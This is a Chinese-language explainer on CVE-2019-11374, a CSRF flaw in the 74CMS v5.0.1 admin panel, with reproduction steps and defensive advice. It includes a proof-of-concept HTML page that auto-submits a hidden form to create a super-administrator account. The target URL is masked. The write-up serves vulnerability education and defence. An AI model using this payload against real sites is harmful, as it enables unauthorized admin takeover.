74CMS v5.0.1后台跨站请求伪造漏洞CVE-2019-11374的详细解读如下：
### 漏洞概述
跨站请求伪造（Cross-site Request Forgery，简称CSRF）是一种常见的网络安全漏洞。该漏洞允许攻击者误导合法用户执行非预期的命令或操作。在74CMS v5.0.1这一具体案例中，漏洞存在于后台管理系统中，攻击者能够利用这个漏洞诱骗已经登录的管理员访问恶意构造的网页，从而在后台执行添加新管理员账户的操作。
### 漏洞细节
在74CMS v5.0.1版本中，特定的URL `/index.php?m=admin&c=admin&a=add` 被发现存在CSRF漏洞。通过该URL，管理员能够添加新的管理员账户。攻击者可以设计一个带有特定参数的链接或表单，当管理员点击或提交表单时，就会在后台创建一个新的超级管理员账户。
### 漏洞影响范围
此漏洞仅影响使用74CMS v5.0.1版本的网站。其他版本可能不受此漏洞影响，但这并不意味着其他版本不存在其他安全隐患。
### 漏洞复现步骤
1. 正常登录74CMS后台管理页面。
2. 在后台管理界面添加一个管理员账户。
3. 使用网络嗅探工具（如Burp Suite）抓取添加管理员操作的HTTP请求包。
4. 攻击者构造含有恶意代码的网页，通过管理员点击链接或者邮件等社交工程手段发送给目标。
5. 当管理员登录后，点击攻击者发送的恶意链接，就会向后台发送之前抓取的添加管理员信息的POST请求。
6. 由于浏览器中已经保存有管理员的会话信息，所以这个请求将带有管理员的认证信息，后台服务器会将其视为合法请求，从而在后台创建一个新的超级管理员账户。
### 漏洞利用示例
为了复现漏洞并展示漏洞利用的原理，这里提供了一个简单的HTML代码示例。这段代码通过在body标签的onload事件中调用JavaScript函数exec1来自动提交表单。该表单的action属性设置为指向74CMS的后台添加管理员接口，隐藏字段内包含创建新管理员账户所需的全部信息。
```html
<!DOCTYPE html>
<html>
<head>
<title>CSRF</title>
<script type="text/javascript">
function exec1(){
document.getElementById('form1').submit();
}
</script>
</head>
<body onload="exec1();">
<form id="form1" action="***" method="POST">
<input type="hidden" name="username" value="admin688"/>
<input type="hidden" name="email" value="***"/>
<input type="hidden" name="password" value="admin688"/>
<input type="hidden" name="repassword" value="admin688"/>
<input type="hidden" name="role_id" value="1"/>
</form>
</body>
</html>
```
### 漏洞防御措施
为了防御CSRF攻击，通常推荐采取以下安全措施：
- 使用CSRF令牌：为每个表单请求生成唯一的、不可预测的令牌，并将该令牌作为隐藏字段加入到表单中。服务器端需要验证提交的表单中包含的令牌与存储在服务器端的会话令牌是否一致。
- 双重验证：除了表单提交需要验证CSRF令牌，还可以在执行关键操作（如添加管理员账户）前，额外要求用户输入密码或其他安全验证措施。
- HTTP头控制：通过设置HTTP头，如使用`Content-Security-Policy`和`X-Content-Type-Options`，增加一些安全措施防止跨站脚本执行等攻击。
- 安全编程实践：开发时应遵循安全编程标准，确保对用户的输入进行适当的验证、清理和编码。
### 总结
74CMS v5.0.1的CSRF漏洞是一个典型的例子，展示了在Web应用开发中对于安全性的忽视可能导致的严重后果。此漏洞利用简单，影响较大，因此管理员应尽快升级到安全版本，或采取相应的安全措施来防止潜在的攻击。对于任何Web应用来说，始终关注安全更新和实施安全最佳实践是至关重要的。
